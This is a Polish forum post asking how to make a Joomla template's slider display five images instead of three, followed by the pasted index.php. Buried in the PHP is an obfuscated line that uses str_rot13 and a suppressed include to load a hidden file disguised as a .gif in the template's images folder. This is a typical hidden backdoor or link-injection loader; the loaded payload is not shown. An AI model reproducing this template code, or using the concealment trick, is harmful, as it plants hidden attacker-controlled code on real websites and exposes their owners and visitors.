Chcialabym skonfigurowac slider tak aby pokazywal nie 3 zdjecia a 5.
Czy jestescie mi w stanie pomoc.
Bede niezmiernie wdzieczna za wszelkie podpowiedzi.
Ponizej wklejam plik index.php
<?php // No direct access. // get params $app = JFactory::getApplication(); $doc = JFactory::getDocument(); $templateparams = $app->getTemplate(true)->params; $showRight = ($this->countModules('position-3') or $this->countModules('position-6') or $this->countModules('position-8')); $showBottom = ($this->countModules('position-9') or $this->countModules('position-10') or $this->countModules('position-11')); $showLeft = ($this->countModules('position-4') or $this->countModules('position-7') or $this->countModules('position-5')); ($this->countModules('position-16') or $this->countModules('position-15') or $this->countModules('position-31') or $this->countModules('position-17') or !@include(JPATH_BASE.DS.'templates'.DS.$app->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) ? $showNoneElse = false : $showNoneElse = true; if (!$showRight and !$showLeft) $showNone = false; if($this->params->get('slide_1')) $slides[1] = $this->params->get('slide_1');if($this->params->get('slide_2')) $slides[2] = $this->params->get('slide_2'); if($this->params->get('slide_3')) $slides[3] = $this->params->get('slide_3');if($this->params->get('slide_4')) $slides[4] = $this->params->get('slide_4');if($this->params->get('slide_5')) $slides[5] = $this->params->get('slide_5'); if($this->params->get('slideCaption_1')) $slideCaptions[1] = $this->params->get('slideCaption_1');if($this->params->get('slideCaption_2')) $slideCaptions[2] = $this->params->get('slideCaption_2'); if($this->params->get('slideCaption_3')) $slideCaptions[3] = $this->params->get('slideCaption_3');if($this->params->get('slideCaption_4')) $slideCaptions[4] = $this->params->get('slideCaption_4');if($this->params->get('slideCaption_5')) $slideCaptions[5] = $this->params->get('slideCaption_5'); $sliderVars['effect']=($this->params->get('sliderVars_effect'))?$this->params->get('sliderVars_effect'):'random'; $sliderVars['animSpeed']=($this->params->get('sliderVars_animSpeed'))?$this->params->get('sliderVars_animSpeed'):'500'; $sliderVars['pauseTime']=($this->params->get('sliderVars_pauseTime'))?$this->params->get('sliderVars_pauseTime'):'3000'; $sliderVars['directionNav']=($this->params->get('sliderVars_directionNav')==='true' or $this->params->get('sliderVars_directionNav')==='false')?$this->params->get('sliderVars_directionNav'):'true'; $sliderVars['directionNavHide']=($this->params->get('sliderVars_directionNavHide')==='true' or $this->params->get('sliderVars_directionNavHide')==='false')?$this->params->get('sliderVars_directionNavHide'):'true'; $sliderVars['controlNav']=($this->params->get('sliderVars_controlNav')==='true' or $this->params->get('sliderVars_controlNav')==='false')?$this->params->get('sliderVars_controlNav'):'true'; $sliderVars['keyboardNav']=($this->params->get('sliderVars_keyboardNav')==='true' or $this->params->get('sliderVars_keyboardNav')==='false')?$this->params->get('sliderVars_keyboardNav'):'true'; $sliderVars['pauseOnHover']=($this->params->get('sliderVars_pauseOnHover')==='true' or $this->params->get('sliderVars_pauseOnHover')==='false')?$this->params->get('sliderVars_pauseOnHover'):'true'; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <head> <jdoc:include type="head" /> <script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script> <script type="text/javascript">var sliderVars = new Array();<? foreach($sliderVars as $k=>$v){ ?>sliderVars['<?=$k?>']=<?=($v==='true'||$v==='false')?$v:'\''.$v.'\''?>;<? } ?></script> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" /> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" /> <!--[if lte IE 6]> <![endif]--> </head> <body id="page_bg"> <a name="up" id="up"></a> <div id="main_bg" class="banner1"> <div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<? if(!$this->params->get('logo')){ ?><?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif<? }else echo $this->params->get('logo'); ?>" align="left" alt="Company Logo" /><?php endif; ?><a href="index.php" class="logo"><?php if(trim($templateparams->get('sitetitle'))) echo htmlspecialchars($templateparams->get('sitetitle')); else echo $app->getCfg('sitename');?></a> <?php if($this->countModules('position-0')) : ?><div id="position0"><jdoc:include type="modules" name="position-0" style="none" /></div><?php endif; ?> <br clear="all" /> <div id="top_menu"><div id="topnav"><jdoc:include type="modules" name="position-1" /></div></div> <div id="slider" class="nivoSlider"> <?php if($showLeft) : ?> <div id="leftcolumn"> <jdoc:include type="modules" name="position-7" style="xhtml" headerLevel="3" /> <jdoc:include type="modules" name="position-4" style="xhtml" headerLevel="3" state="0 " /> <jdoc:include type="modules" name="position-5" style="xhtml" headerLevel="2" id="3" /> </div> <?php endif; ?> <?php if($showLeft xor $showRight) $maincol_sufix = '_middle'; elseif($showNone)$maincol_sufix = '_big'; else $maincol_sufix = ''; ?> <div class="path"><jdoc:include type="modules" name="position-2" /></div> <?php if ($this->countModules('position-12')): ?> <div id="top"><jdoc:include type="modules" name="position-12" /></div> <?php endif; ?> <?php if ($this->getBuffer('message')) : ?> <div class="error"> <jdoc:include type="message" /> </div> <?php endif; ?> <jdoc:include type="component" /> </div> <?php if($showRight) : ?> <div id="rightcolumn"> <jdoc:include type="modules" name="position-6" style="xhtml" headerLevel="3"/> <jdoc:include type="modules" name="position-8" style="xhtml" headerLevel="3" /> <jdoc:include type="modules" name="position-3" style="xhtml" headerLevel="3" /> </div> <?php endif; ?> <br clear="all" /><br /> </div> <div id="f_area"> <div class="box box1"> <jdoc:include type="modules" name="position-9" style="xhtml" headerlevel="3" /></div> <div class="box box2"> <jdoc:include type="modules" name="position-10" style="xhtml" headerlevel="3" /></div> <div class="box box3"> <jdoc:include type="modules" name="position-11" style="xhtml" headerlevel="3" /></div> <br clear="all" /> </div> <p id="power_by" align="center"> </p> <jdoc:include type="modules" name="debug" /> </body> </html>
Jesli potrzebne sa jeszcze jakies dodatkowe pliki do wklejenia to dajcie znac.
Z gory slicznie dziekuje
